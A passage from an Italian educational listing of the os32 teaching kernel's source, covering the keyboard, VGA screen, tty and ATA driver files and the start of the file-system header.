Si veda la sezione 118.1.

```
350001 #include <kernel/driver/ata.h>
350002 #include <errno.h>
350003 //----------------------------------------------------------------------
350004 int
350005 ata_valid (int drive)
350006 {
350007     //
350008     // Verify if 'drive' argument is possible.
350009     //
350010     if (drive < 0 || drive >= ATA_MAX_DEVICES)
350011       {
350012         errset (EINVAL);
350013         return (-1);
350014       }
350015     //
350016     // Verify if 'drive' is present at the moment.
350017     //
350018     if (ata_table[drive].present == 0)
350019       {
350020         errset (E_NO_MEDIUM);
350021         return (-1);
350022       }
```

```
350023     //
350024     // OK.
350025     //
350026     return (0);
350027 }
```

119.4.15 kernel/driver/kbd.h

Si veda la sezione 118.7.

```
360001 #ifndef _KERNEL_DRIVER_KBD_H
360002 #define _KERNEL_DRIVER_KBD_H     1
360003 //----------------------------------------------------------------------
360004 #include <stdbool.h>
360005 //----------------------------------------------------------------------
360006 //
360007 // Keyboard status.
360008 //
360009 typedef struct {
360010     bool          shift;
360011     bool          shift_lock;
360012     bool          ctrl;
360013     bool          alt;
360014     bool          echo;
360015     unsigned char key;
360016     unsigned char map1[128];
360017     unsigned char map2[128];
360018 } kbd_t;
360019 //
360020 extern kbd_t kbd;
360021 //----------------------------------------------------------------------
360022 void kbd_load (void);
360023 void kbd_isr  (void);
360024 //----------------------------------------------------------------------
360025 #endif
```

119.4.16 kernel/driver/kbd/kbd_isr.c

Si veda la sezione 118.7.

```
370001 #include <kernel/driver/kbd.h>
370002 #include <kernel/ibm_i386.h>
370003 //----------------------------------------------------------------------
370004 void
370005 kbd_isr (void)
370006 {
370007     //
370008     // Get a character from the keyboard channel.
370009     //
```

```
370010     unsigned char scancode = (int) in_8 (0x60);
370011     //
370012     // Check for [Shift], [Shift-Lock], [Ctrl] and [Alt] keys.
370013     //
370014     switch (scancode)
370015       {
370016         case 0x2A: kbd.shift = 1; break;
370017         case 0x36: kbd.shift = 1; break;
370018         case 0xAA: kbd.shift = 0; break;
370019         case 0xB6: kbd.shift = 0; break;
370020         case 0x1D: kbd.ctrl  = 1; break;
370021         case 0x9D: kbd.ctrl  = 0; break;
370022         case 0x38: kbd.alt   = 1; break;
370023         case 0xB8: kbd.alt   = 0; break;
370024         case 0x3A: kbd.shift_lock = ! kbd.shift_lock; break;
370025       }
370026     //
370027     // Check for usual keys, but only if `kbd.key' is currently empty.
370028     //
370029     if (scancode <= 127 && kbd.ctrl && kbd.key == 0)
370030       {
370031         //
370032         // Something was pressed, combined with [Ctrl].
370033         //
370034         switch (kbd.map1[scancode])
370035           {
370036             case 'a':  kbd.key = 0x01; break;  // SOH
370037             case 'b':  kbd.key = 0x02; break;  // STX
370038             case 'c':  kbd.key = 0x03; break;  // ETX
370039             case 'd':  kbd.key = 0x04; break;  // EOT
370040             case 'e':  kbd.key = 0x05; break;  // ENQ
370041             case 'f':  kbd.key = 0x06; break;  // ACK
370042             case 'g':  kbd.key = 0x07; break;  // BEL
370043             case 'h':  kbd.key = 0x08; break;  // BS
370044             case 'i':  kbd.key = 0x09; break;  // HT
370045             case 'j':  kbd.key = 0x0A; break;  // LF
370046             case 'k':  kbd.key = 0x0B; break;  // VT
370047             case 'l':  kbd.key = 0x0C; break;  // FF
370048             case 'm':  kbd.key = 0x0D; break;  // CR
370049             case 'n':  kbd.key = 0x0E; break;  // SO
370050             case 'o':  kbd.key = 0x0F; break;  // SI
370051             case 'p':  kbd.key = 0x10; break;  // DLE
370052             case 'q':  kbd.key = 0x11; break;  // DC1
370053             case 'r':  kbd.key = 0x12; break;  // DC2
370054             case 's':  kbd.key = 0x13; break;  // DC3
370055             case 't':  kbd.key = 0x14; break;  // DC4
370056             case 'u':  kbd.key = 0x15; break;  // NAK
370057             case 'v':  kbd.key = 0x16; break;  // SYN
370058             case 'w':  kbd.key = 0x17; break;  // ETB
370059             case 'x':  kbd.key = 0x18; break;  // CAN
370060             case 'y':  kbd.key = 0x19; break;  // EM
370061             case 'z':  kbd.key = 0x1A; break;  // SUB
```

```
370062                  case '[':  kbd.key = 0x1B; break;  // ESC
370063                  case '\\': kbd.key = 0x1C; break;  // FS
370064                  case ']':  kbd.key = 0x1D; break;  // GS
370065                  case '^':  kbd.key = 0x1E; break;  // RS
370066                  case '_':  kbd.key = 0x1F; break;  // US
370067                }
370068            }
370069        else if (scancode <= 127 && kbd.key == 0 && kbd.map1[scancode] != 0)
370070            {
370071              //
370072              // Something was pressed, but no [Ctrl] is there.
370073              //
370074              if (kbd.shift || kbd.shift_lock)
370075                {
370076                  kbd.key = kbd.map2[scancode];
370077                }
370078              else
370079                {
370080                  kbd.key = kbd.map1[scancode];
370081                }
370082            }
370083    }
```

119.4.17 kernel/driver/kbd/kbd_load.c

Si veda la sezione 118.7.

```
380001 #include <kernel/driver/kbd.h>
380002 //----------------------------------------------------------------------
380003 void
380004 kbd_load (void)
380005 {
380006     int i;
380007     //
380008     // Reset the map.
380009     //
380010     for (i = 0; i <= 127; i++)
380011       {
380012         kbd.map1[i] = 0;
380013         kbd.map2[i] = 0;
380014       }
380015     //
380016     // Association for an italian map, but only with ASCII characters
380017     // (there are no accented letters).
380018     //
380019     kbd.map1[1]   = 27;      kbd.map2[1]   = 27;          // ESC
380020     kbd.map1[2]   = '1';     kbd.map2[2]   = '!';
380021     kbd.map1[3]   = '2';     kbd.map2[3]   = '"';
380022     kbd.map1[4]   = '3';     kbd.map2[4]   = 'L';         // 3, £
380023     kbd.map1[5]   = '4';     kbd.map2[5]   = '$';
380024     kbd.map1[6]   = '5';     kbd.map2[6]   = '%';
```

```
380025    kbd.map1[7]   = '6';    kbd.map2[7]   = '&';
380026    kbd.map1[8]   = '7';    kbd.map2[8]   = '/';
380027    kbd.map1[9]   = '8';    kbd.map2[9]   = '(';
380028    kbd.map1[10]  = '9';    kbd.map2[10]  = ')';
380029    kbd.map1[11]  = '0';    kbd.map2[11]  = '=';
380030    kbd.map1[12]  = '\'';   kbd.map2[12]  = '?';
380031    kbd.map1[13]  = 'i';    kbd.map2[13]  = '^';      // ì, ^
380032    kbd.map1[14]  = '\b';   kbd.map2[14]  = '\b';     // Backspace
380033    kbd.map1[15]  = '\t';   kbd.map2[15]  = '\t';
380034    kbd.map1[16]  = 'q';    kbd.map2[16]  = 'Q';
380035    kbd.map1[17]  = 'w';    kbd.map2[17]  = 'W';
380036    kbd.map1[18]  = 'e';    kbd.map2[18]  = 'E';
380037    kbd.map1[19]  = 'r';    kbd.map2[19]  = 'R';
380038    kbd.map1[20]  = 't';    kbd.map2[20]  = 'T';
380039    kbd.map1[21]  = 'y';    kbd.map2[21]  = 'Y';
380040    kbd.map1[22]  = 'u';    kbd.map2[22]  = 'U';
380041    kbd.map1[23]  = 'i';    kbd.map2[23]  = 'I';
380042    kbd.map1[24]  = 'o';    kbd.map2[24]  = 'O';
380043    kbd.map1[25]  = 'p';    kbd.map2[25]  = 'P';
380044    kbd.map1[26]  = '[';    kbd.map2[26]  = '{';      // è, é
380045    kbd.map1[27]  = ']';    kbd.map2[27]  = '}';      // +, *
380046    kbd.map1[28]  = '\n';   kbd.map2[28]  = '\n';     // Enter
380047    kbd.map1[30]  = 'a';    kbd.map2[30]  = 'A';
380048    kbd.map1[31]  = 's';    kbd.map2[31]  = 'S';
380049    kbd.map1[32]  = 'd';    kbd.map2[32]  = 'D';
380050    kbd.map1[33]  = 'f';    kbd.map2[33]  = 'F';
380051    kbd.map1[34]  = 'g';    kbd.map2[34]  = 'G';
380052    kbd.map1[35]  = 'h';    kbd.map2[35]  = 'H';
380053    kbd.map1[36]  = 'j';    kbd.map2[36]  = 'J';
380054    kbd.map1[37]  = 'k';    kbd.map2[37]  = 'K';
380055    kbd.map1[38]  = 'l';    kbd.map2[38]  = 'L';
380056    kbd.map1[39]  = '@';    kbd.map2[39]  = '@';      // ò, ç
380057    kbd.map1[40]  = '#';    kbd.map2[40]  = '#';      // à, °
380058    kbd.map1[41]  = '\\';   kbd.map2[41]  = '|';
380059    kbd.map1[43]  = 'u';    kbd.map2[43]  = 'U';      // ù, §
380060    kbd.map1[44]  = 'z';    kbd.map2[44]  = 'Z';
380061    kbd.map1[45]  = 'x';    kbd.map2[45]  = 'X';
380062    kbd.map1[46]  = 'c';    kbd.map2[46]  = 'C';
380063    kbd.map1[47]  = 'v';    kbd.map2[47]  = 'V';
380064    kbd.map1[48]  = 'b';    kbd.map2[48]  = 'B';
380065    kbd.map1[49]  = 'n';    kbd.map2[49]  = 'N';
380066    kbd.map1[50]  = 'm';    kbd.map2[50]  = 'M';
380067    kbd.map1[51]  = ',';    kbd.map2[51]  = ';';
380068    kbd.map1[52]  = '.';    kbd.map2[52]  = ':';
380069    kbd.map1[53]  = '-';    kbd.map2[53]  = '_';
380070    kbd.map1[56]  = '<';    kbd.map2[56]  = '>';
380071    kbd.map1[57]  = ' ';    kbd.map2[57]  = ' ';
380072    //
380073    kbd.map1[55]  = '*';    kbd.map2[55]  = '*';
380074    kbd.map1[71]  = '7';    kbd.map2[71]  = '7';
380075    kbd.map1[72]  = '8';    kbd.map2[72]  = '8';
380076    kbd.map1[73]  = '9';    kbd.map2[73]  = '9';
```

```
380077      kbd.map1[74]  = '-';     kbd.map2[74]  = '-';
380078      kbd.map1[75]  = '4';     kbd.map2[75]  = '4';
380079      kbd.map1[76]  = '5';     kbd.map2[76]  = '5';
380080      kbd.map1[77]  = '6';     kbd.map2[77]  = '6';
380081      kbd.map1[78]  = '+';     kbd.map2[78]  = '+';
380082      kbd.map1[79]  = '1';     kbd.map2[79]  = '1';
380083      kbd.map1[80]  = '2';     kbd.map2[80]  = '2';
380084      kbd.map1[81]  = '3';     kbd.map2[81]  = '3';
380085      kbd.map1[82]  = '0';     kbd.map2[82]  = '0';
380086      kbd.map1[83]  = '.';     kbd.map2[83]  = '.';
380087      kbd.map1[92]  = '/';     kbd.map2[92]  = '/';
380088      kbd.map1[96]  = '\n';    kbd.map2[96]  = '\n';        // Enter
380089  }
```

119.4.18 kernel/driver/kbd/kbd_public.c

Si veda la sezione 118.7.

```
390001  #include <kernel/driver/kbd.h>
390002  //----------------------------------------------------------------------
390003  kbd_t kbd;
```

119.4.19 kernel/driver/screen.h

Si veda la sezione 118.15.

```
400001  #ifndef _KERNEL_DRIVER_SCREEN_H
400002  #define _KERNEL_DRIVER_SCREEN_H 1
400003  //----------------------------------------------------------------------
400004  #include <restrict.h>
400005  #include <stdint.h>
400006  //----------------------------------------------------------------------
400007  // Virtual consoles data and VGA references.
400008  //
400009  #define SCREEN_MAX     4
400010  #define SCREEN_ROWS    25
400011  #define SCREEN_COLS    80
400012  #define SCREEN_CELLS   (SCREEN_ROWS * SCREEN_COLS)
400013  //
400014  #define VGA_ATTR       0x07
400015  #define VGA_ADDR       0xB8000
400016  #define VGA_CELL      ((uint16_t *) VGA_ADDR)
400017  //
400018  typedef struct {
400019      uint16_t  cell[SCREEN_CELLS]; // [1]
400020      int       position;
400021  } screen_t;
400022  //
400023  // [1] Every character on the screen needs another attribute byte.
```

```
400024 //
400025 //----------------------------------------------------------------------
400026 extern int      screen_active;
400027 extern screen_t screen_table[];
400028 //----------------------------------------------------------------------
400029 int       screen_clear    (screen_t *screen);
400030 screen_t *screen_current  (void);
400031 void      screen_init     (void);
400032 int       screen_new_line (screen_t *screen);
400033 int       screen_number   (screen_t *screen);
400034 screen_t *screen_pointer  (int scrn);
400035 int       screen_putc     (screen_t *screen, int c);
400036 int       screen_scroll   (screen_t *screen);
400037 int       screen_select   (screen_t *screen);
400038 void      screen_update   (screen_t *screen);
400039 //----------------------------------------------------------------------
400040 #define screen_cell(c, attrib) ((uint16_t) c \
400041                              | ((((uint16_t) attrib) << 8) & 0xFF00))
400042 //----------------------------------------------------------------------
400043 #endif
400044
```

119.4.20 kernel/driver/screen/screen_clear.c

Si veda la sezione 118.15.

```
410001 #include <kernel/driver/screen.h>
410002 #include <errno.h>
410003 //----------------------------------------------------------------------
410004 int
410005 screen_clear (screen_t *screen)
410006 {
410007     int j;
410008     //
410009     // Check argument.
410010     //
410011     if (screen == NULL)
410012       {
410013         errset (EINVAL);
410014         return (-1);
410015       }
410016     //
410017     // Clear the virtual screen.
410018     //
410019     for (j = 0; j < SCREEN_CELLS; j++)
410020       {
410021         screen->cell[j] = screen_cell (' ', VGA_ATTR);
410022       }
410023     //
410024     // Place the cursor at the top.
410025     //
```

```
410026      screen->position = 0;
410027      //
410028      // Update the screen if it is the active one.
410029      //
410030      screen_update (screen);
410031      //
410032      // Ok.
410033      //
410034      return (0);
410035  }
```

119.4.21 kernel/driver/screen/screen_current.c

Si veda la sezione 118.15.

```
420001  #include <kernel/driver/screen.h>
420002  //----------------------------------------------------------------------
420003  screen_t *
420004  screen_current (void)
420005  {
420006      if (screen_active >= 0 && screen_active < SCREEN_MAX)
420007        {
420008          return &screen_table[screen_active];
420009        }
420010      else
420011        {
420012          return &screen_table[0];
420013        }
420014  }
```

119.4.22 kernel/driver/screen/screen_init.c

Si veda la sezione 118.15.

```
430001  #include <kernel/driver/screen.h>
430002  //----------------------------------------------------------------------
430003  void
430004  screen_init (void)
430005  {
430006      int          i;
430007      int          j;
430008      //
430009      // Reset and clear all virtual consoles.
430010      //
430011      for (i = 0; i < SCREEN_MAX; i++)
430012        {
430013          //
430014          // Reset position.
430015          //
```

```
430016          screen_table[i].position = 0;
430017          //
430018          for (j = 0; j < SCREEN_CELLS; j++)
430019            {
430020              screen_table[i].cell[j] = screen_cell (' ', VGA_ATTR);
430021            }
430022        }
430023      //
430024      // Select the first screen.
430025      //
430026      screen_active = 0;
430027  }
```

119.4.23 kernel/driver/screen/screen_new_line.c

Si veda la sezione 118.15.

```
440001  #include <kernel/driver/screen.h>
440002  #include <errno.h>
440003  //----------------------------------------------------------------------
440004  int
440005  screen_new_line (screen_t *screen)
440006  {
440007      int row;
440008      //
440009      // Check argument.
440010      //
440011      if (screen == NULL)
440012        {
440013          errset (EINVAL);
440014          return (-1);
440015        }
440016      //
440017      // Find row position on screen.
440018      //
440019      row = (screen->position / SCREEN_COLS);
440020      //
440021      // We want to go one row down.
440022      //
440023      row++;
440024      //
440025      // Scroll the screen if necessary.
440026      //
440027      for (; row >= SCREEN_ROWS; row--)
440028        {
440029          screen_scroll (screen);
440030        }
440031      //
440032      // Reset position at the beginning of the line.
440033      //
440034      screen->position = row * SCREEN_COLS;
```

```
440035      //
440036      // Update the video if it is the current one. This is necessary to
440037      // update the cursor position, if the original column was not zero.
440038      //
440039      screen_update (screen);
440040      //
440041      // Ok.
440042      //
440043      return (0);
440044  }
```

119.4.24 kernel/driver/screen/screen_number.c

Si veda la sezione 118.15.

```
450001  #include <kernel/driver/screen.h>
450002  #include <stddef.h>
450003  #include <errno.h>
450004  #include <kernel/lib_k.h>
450005  //----------------------------------------------------------------------
450006  int
450007  screen_number (screen_t *screen)
450008  {
450009      ptrdiff_t  distance;
450010      int        n;
450011      //
450012      if (screen == NULL)
450013        {
450014          errset (EINVAL);
450015          return (-1);
450016        }
450017      //
450018      distance = (void *) screen - (void *) &screen_table[0];
450019      //
450020      n = (distance % (sizeof (screen_t)));
450021      //
450022      if (n != 0)
450023        {
450024          errset (EINVAL); // Invalid pointer placement.
450025          return (-1);
450026        }
450027      //
450028      n = (distance / (sizeof (screen_t)));
450029      //
450030      if (n < 0 || n > SCREEN_MAX)
450031        {
450032          errset (EINVAL); // Pointer outside the screen table.
450033          return (-1);
450034        }
450035      //
450036      // If we are here, variable 'n' holds the right screen number.
```

```
450037      //
450038      return (n);
450039  }
```

119.4.25 kernel/driver/screen/screen_pointer.c

Si veda la sezione 118.15.

```
460001  #include <kernel/driver/screen.h>
460002  #include <errno.h>
460003  //----------------------------------------------------------------------
460004  screen_t *
460005  screen_pointer (int scrn)
460006  {
460007      if (scrn >= 0 && scrn < SCREEN_MAX)
460008        {
460009          return &screen_table[scrn];
460010        }
460011      else
460012        {
460013          errset (EINVAL);
460014          return (NULL);
460015        }
460016  }
```

119.4.26 kernel/driver/screen/screen_public.c

Si veda la sezione 118.15.

```
470001  #include <kernel/driver/screen.h>
470002  #include <errno.h>
470003  //----------------------------------------------------------------------
470004  int        screen_active;
470005  screen_t   screen_table[SCREEN_MAX];
```

119.4.27 kernel/driver/screen/screen_putc.c

Si veda la sezione 118.15.

```
480001  #include <kernel/driver/screen.h>
480002  #include <errno.h>
480003  //----------------------------------------------------------------------
480004  int
480005  screen_putc (screen_t *screen, int c)
480006  {
480007      int row;
480008      int col;
480009      //
```

```
480010     if (screen == NULL)
480011       {
480012         errset (EINVAL);
480013         return (-1);
480014       }
480015     //
480016     // Find row-col position on screen.
480017     //
480018     row = (screen->position / SCREEN_COLS);
480019     col = (screen->position - (row * SCREEN_COLS));
480020     //
480021     //
480022     //
480023     if (c == '\n' || c == '\r')
480024       {
480025         screen_new_line (screen);
480026         return (0);
480027       }
480028     else if (c == '\b')
480029       {
480030         screen->position--;
480031         if (screen->position < 0)
480032           {
480033             screen->position = 0;
480034           }
480035         screen_update (screen);
480036         return (0);
480037       }
480038     else if (screen->position == (SCREEN_CELLS -1))
480039       {
480040         //
480041         // It is not a control character and we are already at the
480042         // last cell of the last row.
480043         //
480044         screen_scroll (screen);
480045       }
480046     //
480047     // If we are here, it is not a control character. So: print it.
480048     //
480049     screen->cell[screen->position] = screen_cell (c, VGA_ATTR);
480050     screen->position++;
480051     screen_update (screen);
480052     //
480053     return (0);
480054 }
```

119.4.28 kernel/driver/screen/screen_scroll.c

Si veda la sezione 118.15.

```
490001 #include <kernel/driver/screen.h>
490002 #include <errno.h>
490003 //----------------------------------------------------------------------
490004 int
490005 screen_scroll (screen_t *screen)
490006 {
490007     int a;              // screen[].cell[] index.
490008     int b;              // screen[].cell[] index
490009     //
490010     // Check argument.
490011     //
490012     if (screen == NULL)
490013       {
490014         errset (EINVAL);
490015         return (-1);
490016       }
490017     //
490018     // Move up a line.
490019     //
490020     for (a = 0, b = SCREEN_COLS; b < SCREEN_CELLS; a++, b++)
490021       {
490022         screen->cell[a] = screen->cell[b];
490023       }
490024     //
490025     // Clear last screen line.
490026     //
490027     for (b = (SCREEN_CELLS - SCREEN_COLS); b < SCREEN_CELLS; b++)
490028       {
490029         screen->cell[b] = screen_cell (' ', VGA_ATTR);
490030       }
490031     //
490032     // Update position.
490033     //
490034     screen->position -= SCREEN_COLS;
490035     if (screen->position < 0)
490036       {
490037         screen->position = 0;
490038       }
490039     //
490040     // Update the video if it is the current one.
490041     //
490042     screen_update (screen);
490043     //
490044     // Ok.
490045     //
490046     return (0);
490047 }
```

119.4.29 kernel/driver/screen/screen_select.c

Si veda la sezione 118.15.

```
500001 #include <kernel/driver/screen.h>
500002 #include <errno.h>
500003 #include <kernel/ibm_i386.h>
500004 //----------------------------------------------------------------------
500005 int
500006 screen_select (screen_t *screen)
500007 {
500008     int scrn;
500009     //
500010     if (screen == NULL)
500011       {
500012         errset (EINVAL);
500013         return (-1);
500014       }
500015     //
500016     // Get screen number.
500017     //
500018     scrn = screen_number (screen);
500019     if (scrn < 0)
500020       {
500021         errset (EINVAL);        // The screen pointer was invalid.
500022         return (-1);
500023       }
500024     //
500025     // Set the current screen, update the screen memory
500026     // and put the cursor.
500027     //
500028     screen_active = scrn;
500029     //
500030     screen_update (screen);
500031     //
500032     // Ok.
500033     //
500034     return (0);
500035 }
```

119.4.30 kernel/driver/screen/screen_update.c

Si veda la sezione 118.15.

```
510001 #include <kernel/driver/screen.h>
510002 #include <kernel/ibm_i386.h>
510003 #include <stddef.h>
510004 //----------------------------------------------------------------------
510005 void
510006 screen_update (screen_t *screen)
510007 {
```

```
510008      screen_t     *screen_showing;
510009      int           j;
510010      unsigned char position_high;
510011      unsigned char position_low;
510012      //
510013      // Check input: if it is the NULL pointer, or it is not a valid
510014      // pointer, then select the current screen.
510015      //
510016      if ((screen == NULL) || (screen_number (screen) < 0))
510017        {
510018          screen = screen_current ();
510019        }
510020      //
510021      // Get current screen anyway.
510022      //
510023      screen_showing = screen_current ();
510024      //
510025      // Verify again to be in a valid screen.
510026      //
510027      if (screen_number (screen_showing) < 0)
510028        {
510029          return;
510030        }
510031      //
510032      // If the selected screen is also the current screen, then
510033      // must update the content (otherwise there is nothing to do).
510034      //
510035      if (screen_showing == screen)
510036        {
510037          //
510038          // Copy virtual screen to real screen memory.
510039          //
510040          for (j = 0; j < SCREEN_CELLS; j++)
510041            {
510042              VGA_CELL[j] = screen->cell[j];
510043            }
510044          //
510045          // Place the cursor.
510046          //
510047          position_high = (unsigned char) (screen->position >> 8);
510048          position_low  = (unsigned char) (screen->position);
510049          //
510050          out_8 (0x3D4, 0x0E);
510051          out_8 (0x3D5, position_high);
510052          out_8 (0x3D4, 0x0F);
510053          out_8 (0x3D5, position_low);
510054        }
510055  }
```

119.4.31 kernel/driver/tty.h

Si veda la sezione 118.16.

```
520001 #ifndef _KERNEL_DRIVER_TTY_H
520002 #define _KERNEL_DRIVER_TTY_H  1
520003 //----------------------------------------------------------------------
520004 #include <stddef.h>
520005 #include <stdint.h>
520006 #include <stdio.h>
520007 #include <sys/types.h>
520008 #include <kernel/ibm_i386.h>
520009 #include <termios.h>
520010 //----------------------------------------------------------------------
520011 #define         TTYS_CONSOLE    4
520012 #define         TTYS_SERIAL     0
520013 #define         TTYS_TOTAL      (TTYS_CONSOLE + TTYS_SERIAL)
520014 //----------------------------------------------------------------------
520015 #define         TTY_INPUT_LINE_EDITING 0
520016 #define         TTY_INPUT_LINE_CLOSED  1
520017 //----------------------------------------------------------------------
520018 typedef struct {
520019     dev_t          device;
520020     pid_t          pgrp;                    // Process group.
520021     struct termios attr;                    // termios attributes.
520022     unsigned char  status;                  // 0 = edit, 1 = end edit.
520023     char           line[MAX_CANON];         // Canonical input line.
520024     int            lpr;                     // Input line position read.
520025     int            lpw;                     // Input line position write.
520026 } tty_t;
520027 //----------------------------------------------------------------------
520028 extern tty_t tty_table[TTYS_TOTAL];
520029 //----------------------------------------------------------------------
520030 tty_t *tty_reference (dev_t device);
520031 dev_t  tty_console   (dev_t device);
520032 int    tty_read      (dev_t device);
520033 void   tty_write     (dev_t device, int c);
520034 void   tty_init      (void);
520035 //----------------------------------------------------------------------
520036 #endif
```

119.4.32 kernel/driver/tty/tty_console.c

Si veda la sezione 118.16.

```
530001 #include <sys/os32.h>
530002 #include <kernel/driver/tty.h>
530003 #include <kernel/driver/screen.h>
530004 //----------------------------------------------------------------------
530005 dev_t
530006 tty_console (dev_t device)
```

```
530007 {
530008     static dev_t     device_active = DEV_CONSOLE0;  // First time.
530009            dev_t     device_previous;
530010            screen_t *screen;
530011     //
530012     // Check if it required only the current device.
530013     //
530014     if (device == 0)
530015       {
530016         return (device_active);
530017       }
530018     //
530019     // Fix if the device is not valid.
530020     //
530021     if (device > DEV_CONSOLE3 || device < DEV_CONSOLE0)
530022       {
530023         device = DEV_CONSOLE0;
530024       }
530025     //
530026     // Update.
530027     //
530028     device_previous = device_active;
530029     device_active   = device;
530030     //
530031     // Get screen pointer.
530032     //
530033     screen = screen_pointer ((int) (device_active & 0x00FF));
530034     //
530035     // Switch.
530036     //
530037     screen_select (screen);
530038     //
530039     // Return previous device value.
530040     //
530041     return (device_previous);
530042 }
```

119.4.33 kernel/driver/tty/tty_init.c

Si veda la sezione 118.16.

```
540001 #include <sys/os32.h>
540002 #include <kernel/driver/tty.h>
540003 #include <kernel/driver/screen.h>
540004 #include <termios.h>
540005 //----------------------------------------------------------------------
540006 void
540007 tty_init (void)
540008 {
540009     int page;   // console page.
540010     //
```

```
540011     // Console initialization: console pages correspond to the first
540012     // terminal items.
540013     //
540014     for (page = 0; page < TTYS_CONSOLE; page++)
540015       {
540016         tty_table[page].device  = DEV_CONSOLE0 + page;
540017         tty_table[page].pgrp    = 0;
540018         tty_table[page].line[0] = 0;
540019         tty_table[page].lpr     = 0;
540020         tty_table[page].lpw     = 0;
540021         tty_table[page].status  = TTY_INPUT_LINE_EDITING;
540022         //
540023         // Termios default configuration.
540024         //
540025         tty_table[page].attr.c_iflag = BRKINT|ICRNL;
540026         tty_table[page].attr.c_oflag = 0;
540027         tty_table[page].attr.c_cflag = 0;
540028         tty_table[page].attr.c_lflag = ECHO|ECHOE|ECHOK|ECHONL
540029                                        |ICANON|ISIG;
540030         //
540031         tty_table[page].attr.c_cc[VEOF]   = 0x04; // ASCII EOT
540032         tty_table[page].attr.c_cc[VEOL]   = 0x00; // undefined
540033         tty_table[page].attr.c_cc[VERASE] = 0x08; // ASCII BS
540034         tty_table[page].attr.c_cc[VINTR]  = 0x03; // ASCII ETX
540035         tty_table[page].attr.c_cc[VKILL]  = 0x00; // undefined
540036         tty_table[page].attr.c_cc[VMIN]   = 0x00;
540037         tty_table[page].attr.c_cc[VQUIT]  = 0x1C; // ASCII FS
540038         tty_table[page].attr.c_cc[VSTART] = 0x00; // undefined
540039         tty_table[page].attr.c_cc[VSUSP]  = 0x00; // undefined
540040         tty_table[page].attr.c_cc[VTIME]  = 0x00;
540041       }
540042     //
540043     // Set video mode.
540044     //
540045     screen_init ();
540046     //
540047     // Select the first console.
540048     //
540049     tty_console (DEV_CONSOLE0);
540050     //
540051     // Nothing else to configure (only consoles are available).
540052     //
540053     return;
540054 }
```

119.4.34 kernel/driver/tty/tty_public.c

Si veda la sezione 118.16.

```
550001 #include <kernel/driver/tty.h>
550002 //----------------------------------------------------------------------
550003 tty_t tty_table[TTYS_TOTAL];
```

119.4.35 kernel/driver/tty/tty_read.c

Si veda la sezione 118.16.

```
560001 #include <sys/os32.h>
560002 #include <kernel/driver/tty.h>
560003 #include <kernel/lib_k.h>
560004 //----------------------------------------------------------------------
560005 int
560006 tty_read (dev_t device)
560007 {
560008     tty_t   *tty;
560009     int      key;
560010     //
560011     tty = tty_reference (device);
560012     if (tty == NULL)
560013       {
560014         k_printf ("kernel alert: cannot find terminal device "
560015                   "0x%08x!\n", (int) device);
560016         //
560017         return (-1);
560018       }
560019     //
560020     // Read from canonical input line, but only if it is time to read.
560021     //
560022     if (tty->status == TTY_INPUT_LINE_CLOSED)
560023       {
560024         if (tty->lpr > tty->lpw)
560025           {
560026             //
560027             // There is nothing to read!
560028             // Reset input line.
560029             //
560030             tty->lpw = 0;
560031             tty->lpr = 0;
560032             tty->status = TTY_INPUT_LINE_EDITING;
560033             //
560034             return (-1);
560035           }
560036         //
560037         // Read the key.
560038         //
560039         key = tty->line[tty->lpr];
```

```
560040          //
560041          // Move up the read cursor.
560042          //
560043          tty->lpr++;
560044        }
560045      else
560046        {
560047          return (-1);
560048        }
560049      //
560050      // Return the key.
560051      //
560052      return (key);
560053
560054  }
```

119.4.36 kernel/driver/tty/tty_reference.c

Si veda la sezione 118.16.

```
570001  #include <kernel/driver/tty.h>
570002  //----------------------------------------------------------------------
570003  tty_t *
570004  tty_reference (dev_t device)
570005  {
570006      int t;              // Terminal index.
570007      //
570008      // If device is zero, a reference to the whole table is returned.
570009      //
570010      if (device == 0)
570011        {
570012          return (tty_table);
570013        }
570014      //
570015      // Otherwise, a scan is made to find the selected device.
570016      //
570017      for (t = 0; t < TTYS_TOTAL; t++)
570018        {
570019          if (tty_table[t].device == device)
570020            {
570021              //
570022              // Device found. Return the pointer.
570023              //
570024              return (&tty_table[t]);
570025            }
570026        }
570027      //
570028      // No device found!
570029      //
570030      return (NULL);
570031  }
```

119.4.37 kernel/driver/tty/tty_write.c

Si veda la sezione 118.16.

```
580001 #include <sys/os32.h>
580002 #include <kernel/driver/tty.h>
580003 #include <kernel/driver/screen.h>
580004 //----------------------------------------------------------------------
580005 void
580006 tty_write (dev_t device, int c)
580007 {
580008     screen_t *screen;
580009     //
580010     if ((device & 0xFF00) == (DEV_CONSOLE_MAJOR << 8))
580011       {
580012         //
580013         // Get screen pointer.
580014         //
580015         screen = screen_pointer ((int) (device & 0x00FF));
580016         //
580017         screen_putc (screen, c);
580018       }
580019 }
```

119.5 os32: «kernel/fs.h»

Si veda la sezione 118.5.

```
590001 #ifndef _KERNEL_FS_H
590002 #define _KERNEL_FS_H 1
590003 
590004 #include <stdint.h>
590005 #include <sys/types.h>
590006 #include <sys/os32.h>
590007 #include <sys/stat.h>
590008 #include <stdint.h>
590009 #include <stdio.h>
590010 #include <limits.h>
590011 #include <kernel/memory.h>
590012 
590013 //----------------------------------------------------------------------
590014 #define SB_MAX_INODE_BLOCKS          8  // 8*8192 inodes max.
590015 #define SB_MAX_ZONE_BLOCKS           8  // 8*8192 data-zones max.
590016 #define SB_BLOCK_SIZE             1024  // Fixed for Minix file system.
590017 #define SB_MAX_ZONE_SIZE          4096  // log2 max is 1.
590018 #define SB_MAP_INODE_SIZE         (SB_MAX_INODE_BLOCKS*512) // [1]
590019 #define SB_MAP_ZONE_SIZE          (SB_MAX_ZONE_BLOCKS*512)  // [1]
590020 //
590021 // [1] blocks * (1024 * 8 / 16) = number of bits, divided 16.
590022 //
590023 //----------------------------------------------------------------------
```

```
590024 #define INODE_MAX_INDIRECT_ZONES  (SB_MAX_ZONE_SIZE/2)      // [2]
590025
590026 #define INODE_MAX_REFERENCES      0xFF
590027 //
590028 // [2] number of zone pointers contained inside a zone, used
590029 //     as an indirect inode list (a pointer = 16 bits = 2 bytes).
590030 //
590031 //----------------------------------------------------------------------
590032 typedef uint16_t        zno_t;          // Zone number.
590033 //----------------------------------------------------------------------
590034 // The structured type 'inode_t' must be pre-declared here, because
590035 // the type sb_t, described before the inode structure, has a member
590036 // pointing to a type 'inode_t'. So, must be declared previously
590037 // the type 'inode_t' as made of a type 'struct inode', then the
590038 // structure 'inode' can be described. But for a matter of coherence,
590039 // all other structured data declared inside this file follow the
590040 // same procedure.
590041 //
590042 typedef struct sb        sb_t;
590043 typedef struct inode     inode_t;
590044 typedef struct file      file_t;
590045 typedef struct fd        fd_t;
